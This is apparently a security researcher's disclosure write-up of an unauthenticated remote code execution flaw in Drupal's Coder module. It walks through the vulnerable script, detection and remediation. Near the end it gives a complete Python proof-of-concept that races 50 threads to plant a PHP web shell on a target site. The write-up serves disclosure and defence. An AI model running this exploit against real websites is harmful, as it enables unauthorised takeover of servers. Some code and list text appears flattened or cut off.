Drupal Coder Module - Unauthenticated Remote Code Execution

The Drupal Security Advisory SA-CONTRIB-2016-039 was issued for an unauthenticated remote code execution vulnerability that I identified whilst doing a secure code review of the Coder module. The vulnerability affects all versions of the Drupal coder module for Drupal 7.x below version 7.x-1.3 and 7.x-2.6, and the module does not need to be enabled to be vulnerable. At the time of writing around 4,000 websites are reporting using the module.

Essentially the problem is that the module includes an inherently dangerous PHP script that can be accessed directly without any authentication. The script is intended to modify PHP source code and should not be published to live websites but it is also very badly written from a security perspective and the developer (who also wrote a “Secure Code Review” module) didn’t make any attempt to secure or restrict access to the script. When I reported the issue, the developer repeatedly closed the bug report saying the script works as designed!

The Short Version

The vulnerable script, found at the path coder/coder_upgrade/scripts/coder_upgrade.run.php, can be accessed directly, and subsequently is not subject to any of the security controls built in to Drupal (e.g. authentication and authorisation). This script does almost no validation of inputs and as a result has a wide range of vulnerabilities including:


Normally the combination of local file inclusion and log file poisoning would mean that remote code execution is possible, however in this instance it wasn’t quite so straightforward. The poisoned log file was overwritten before the local file inclusion could be triggered in order to execute code in the log file.


Fortunately, the path to the poisoned log file was constant and didn’t change between requests. Thanks to multithreading this meant it was possible for one server thread to poison the log file before being suspended to give other threads CPU time, then for a second server thread to resume after clearing the log file but before reaching the local file inclusion vulnerability - a race condition resulting in remote code execution.


RCE: Race to Code Execution

I found this issue whilst reviewing various Drupal plugins for security vulnerabilities. Typically the code for Drupal plugins lives in files with the extension .module or .inc. An advantage of doing so is that the code won’t be executed if the files are requested directly (as is the case with the extension .php), instead it will only be executed when Drupal specifically includes the relevant files (and hence the code will be subject to the security controls that are built in to Drupal).


Many modules do include files with the extension .php however these often only contain function and class definitions and as such won’t execute any interesting code when they are directly requested. In other cases these scripts might call functions that aren't defined if the script is accessed directly (e.g. CMS APIs), resulting in PHP errors and the script terminating. The Coder module included 184 files with the extension .php so I wrote a script to tokenize PHP files and identify those that will actually do something if the script is directly requested/executed. When I ran this script against the Coder module I found coder/coder_upgrade/scripts/coder_upgrade.run.php. A quick glance at this file showed a lot of code that might be executed and nothing that would obviously trigger errors so it looked like a good candidate for a more in-depth code review.



The script starts off by calling save_memory_usage(), passing in a constant string and a newly initialised empty array. This function is defined later in the script and simply inserts several strings into the given array, nothing too interesting.



Following the call to save_memory_usage(), a constant is defined, some PHP settings are configured, and error/exception handlers are registered. We don’t yet control anything in the script.


Next a variable named $path is created and initialised to the value returned by the extract_arguments() function which is defined later in the script. If $path is null then the script spits out a message and terminates, so to reach any more code we need to be able to set $path to a non-null value.



In extract_arguments() we have a switch statement based on the result of the PHP function php_sapi_name() which returns the name of the server API that was used to execute the PHP code. Two cases are handled – command line or Apache HTTPD. In the case of Apache the script checks whether a GET parameter exists named 'file' and if so the value of this parameter is returned into the $path variable above and we can continue beyond the if statement.



The script reads the file at the given path using file_get_contents() and passes the contents to the unserialize() function, storing the result in a variable named $parameters. By default PHP allows file handling functions to open URLs (see ‘allow_url_fopen’) so we can pass in an arbitrary URL and have this script read it and pass the returned data to unserialize(). This in itself can be very dangerous as it enables PHP Object Injection attacks to be performed, however in this instance there are no non-standard PHP classes available for use in an object injection exploit. At this point we are able to control the contents of the $parameters variable.


It’s worth pointing out at this point that some PHP file system functions, including file_get_contents(), support various protocol wrappers. Of particular note is the data:// protocol that allows data to be base-64 encoded and supplied directly to the function for reading, rather than reading the data from a file or URL. This means the server doesn’t need to make an outbound HTTP(S) or FTP connection to read our data and egress firewall rules won’t prevent us from providing data to this script.


The above for loop treats the $parameters variable as an array and essentially creates variables from each element of the array using PHPs 'variable variable' syntax. This loop effectively emulates the register_globals feature that has not only been deprecated but entirely removed from PHP because of the inherent risks. After this loop executes we can control every variable in the script by making the $parameters variable a dictionary (an array with string keys) where the keys are variable names and the values are the variable values we want to set. For example, if we give the $parameters array a key named 'usage' then we can control the $usage variable that is passed in to the next call to save_memory_usage().



Here some variables are initialised and more files are read and the contents unserialized before another call to save_memory_usage(). There isn’t much of interest going on here apart from passing even more arbitrary data to unserialize().



This loop constructs several paths by combining some constant strings with a variable that we control, then it passes each path to the PHP require_once directive to include and execute each file. Because we control the $_coder_upgrade_modules_base variable and it is not validated, we have a limited local file inclusion (LFI) vulnerability. The lack of validation means directory traversal is possible by inserting "../" sequences into this variable enabling us to traverse the file system for files to include/execute. Unfortunately in order to achieve arbitrary code execution through this LFI bug we would need control over a local file at a path ending with one of the following:


Prior to PHP 5.3.4 (released in December 201) it would have been possible to include arbitrary local files at this point by exploiting a file path truncation issue in PHP. A NULL byte at the end of the $_coder_upgrade_modules_base variable would have caused PHP to truncate everything that was appended to this variable when require_once opened the file.


Arbitrary code execution is theoretically possible at this point, but it's unlikely.



The function coder_upgrade_path_clear() is defined in the main.inc file that is included by the previous loop. The function calls several other functions but effectively all it does is overwrite a file named memory.txt with an empty string, clearing the contents of the file. Following this the $usage variable, that we have some control over, is passed to print_memory_usage() which is defined later in this script.



If the $usage variable is an array then it is converted to a string using implode() such that the elements of the array are joined together using the new line character. The resulting string is then passed to coder_upgrade_path_print() which is defined in the file main.inc and in this case effectively writes the given string to the file memory.txt. Because we have some control over the variable $usage, we can now inject arbitrary data, including PHP code, into the file memory.txt. We can't directly execute any injected code in a .txt file, however we could execute the code using a local file inclusion vulnerability if we can include memory.txt. The earlier LFI could be used under PHP versions prior to 5.3.4 due to the NULL byte file path truncation vulnerability.



The function coder_upgrade_memory_print() writes some data that we don't control out to memory.txt. Following this three variables that we control are passed to coder_upgrade_start() which is defined in the file main.inc.



The three parameters passed to coder_upgrade_start() must be non-empty arrays. Several log files are then cleared, potentially including memory.txt, before the $upgrades parameter is passed to coder_upgrade_load_code().



This function iterates over the $upgrades array and treats each element as a dictionary. If a key exists with the name 'path' and the corresponding value is not empty then the variable $path is set to DRUPAL_ROOT/$upgrade[‘path’] - we control the end of the $path variable, however there is no validation so we can use directory traversal to traverse the file system in this path.


If a key exists with the name 'files' and the corresponding value is not empty then the script treats this value as an array and iterates over it to construct file paths that are passed to the require_once directive. Here we have a local file inclusion bug that we have complete control over. We can use this to execute PHP code that has been injected into memory.txt.


Assuming that memory.txt is cleared prior to this LFI (as is the case by default), we need to trigger a race condition such that we poison memory.txt in one server thread after another server thread has cleared the file but before that server thread triggers this local file inclusion vulnerability.


A proof-of-concept exploit for this race condition can be found below. Tests against a local instance of Drupal reliably achieved code execution in a couple of seconds.


Detecting Vulnerable Instances

If a version of the Coder module prior to 7.x-1.3 or 7.x-2.6 is installed then the website is vulnerable to unauthenticated remote code execution, regardless of whether the Coder module is enabled or not.


Vulnerable websites can be identified by requesting the affected script and looking at the response. If the script returns the exact string file parameter is not setNo path to parameter file then the website is vulnerable. This script could be installed under various paths as follows:


Where [drupal-root] is the URL where Drupal can be accessed and in the case of multi-site Drupal instances [site-name] is the name used to identify an individual site.


A Nessus plugin has been published to detect this vulnerability, however it currently only appears to check the first two of the above listed default installation paths.


Exploitation

My original proof-of-concept exploit code for this race condition can be found below. It works by spawning multiple threads that send a payload to the vulnerable script repeatedly until the race condition triggers and a minimal PHP command shell is written to the server. The exploit only works with one of the default module install paths.


import base64import urllibimport threadingimport sys#Check for target parameterif len(sys.argv) != 2:
 print "Usage: drupal-coder-shellupload.py <drupal-root>" print "  e.g. drupal-coder-shellupload.py http://www.somedrupalsite.org" sys.exit()#Target URL - must point at the base of the Drupal installationtarget = sys.argv[1]if target[-1] == "/":
 target = target[:-1] #Strip trailing slash#The payload generated by constructing our $parameters array in PHP and serializing it:# a:7:{s:5:\"paths\";a:3:{s:10:\"files_base\";s:28:\"../../../../../default/files\";s:14:\"libraries_base\";s:21:\"../../../../libraries\";s:12:\"modules_base\";s:8:\"../../..\";}s:9:\"variables\";a:0:{}s:11:\"theme_cache\";s:0:\"\";s:8:\"upgrades\";a:1:{s:20:\"race-execpoisonedlog\";a:3:{s:6:\"module\";s:20:\"race-execpoisonedlog\";s:4:\"path\";s:42:\"../../../../../default/files/coder_upgrade\";s:5:\"files\";a:1:{i:0;s:10:\"memory.txt\";}}}s:10:\"extensions\";a:1:{s:11:\"placeholder\";s:0:\"\";}s:5:\"items\";a:1:{s:11:\"placeholder\";s:0:\"\";}s:5:\"usage\";s:116:\"<?php file_put_contents('x.php','<?php print nl2br(htmlentities(shell_exec($_GET[1]))); ?>');chmod('x.php',0755); ?>\";}#We can pass this directly to the vulnerable script by using the data:// protocol by base 64 encoding it...payload = "data://text/plain;base64," + base64.b64encode("a:7:{s:5:\"paths\";a:3:{s:10:\"files_base\";s:28:\"../../../../../default/files\";s:14:\"libraries_base\";s:21:\"../../../../libraries\";s:12:\"modules_base\";s:8:\"../../..\";}s:9:\"variables\";a:0:{}s:11:\"theme_cache\";s:0:\"\";s:8:\"upgrades\";a:1:{s:20:\"race-execpoisonedlog\";a:3:{s:6:\"module\";s:20:\"race-execpoisonedlog\";s:4:\"path\";s:42:\"../../../../../default/files/coder_upgrade\";s:5:\"files\";a:1:{i:0;s:10:\"memory.txt\";}}}s:10:\"extensions\";a:1:{s:11:\"placeholder\";s:0:\"\";}s:5:\"items\";a:1:{s:11:\"placeholder\";s:0:\"\";}s:5:\"usage\";s:116:\"<?php file_put_contents('x.php','<?php print nl2br(htmlentities(shell_exec($_GET[1]))); ?>');chmod('x.php',0755); ?>\";}")#Check whether the exploit has succeeded (i.e. whetherr the dropped shell exists)def checkSuccess():
 result = False urlReader = urllib.urlopen(target + "/sites/all/modules/coder/coder_upgrade/scripts/x.php")
 if urlReader.getcode() == 200:
  result = True urlReader.close()
 return result#Attack threaddef attackThread():
 #Poison memory.txt and trigger the LFI until the race condition triggers and the shell is dropped while checkSuccess() == 0:
  urlReader = urllib.urlopen(target + "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?" + urllib.urlencode({"file": payload}))
  response = urlReader.read()
  urlReader.close()#Spawn a load of threads in an attempt to trigger the race condition, then wait for them all to completeattackThreads = []for i in range(50):
 attackThreads.append(threading.Thread(target = attackThread))
 attackThreads[i].start()for i in range(50):
 attackThreads[i].join()#Done.print "Exploit successful!"print "A command shell should be available now at " target + "/sites/all/modules/coder/coder_upgrade/scripts/x.php"print "Pass commands to execute via the '1' GET parameter e.g. ?1=ls"


Since the security advisory was released, a researcher named Mehmet Ince (@mdisec) has done further analysis (article in Turkish) of the module and discovered a cleaner route to RCE through a call to shell_exec(). Mehmet wrote a Metasploit module that achieves RCE through this route in a single HTTP request, rather than using many requests to trigger the race condition that I originally identified. Nice work Mehmet!


Remediation

The vulnerable PHP script is inherently dangerous and not intended to be published to production servers so ideally the Coder module should be removed from all production servers. Alternatively the module should be updated to version 7.x-1.3 or 7.x-2.6 in order to prevent the vulnerable script from being executed via HTTP.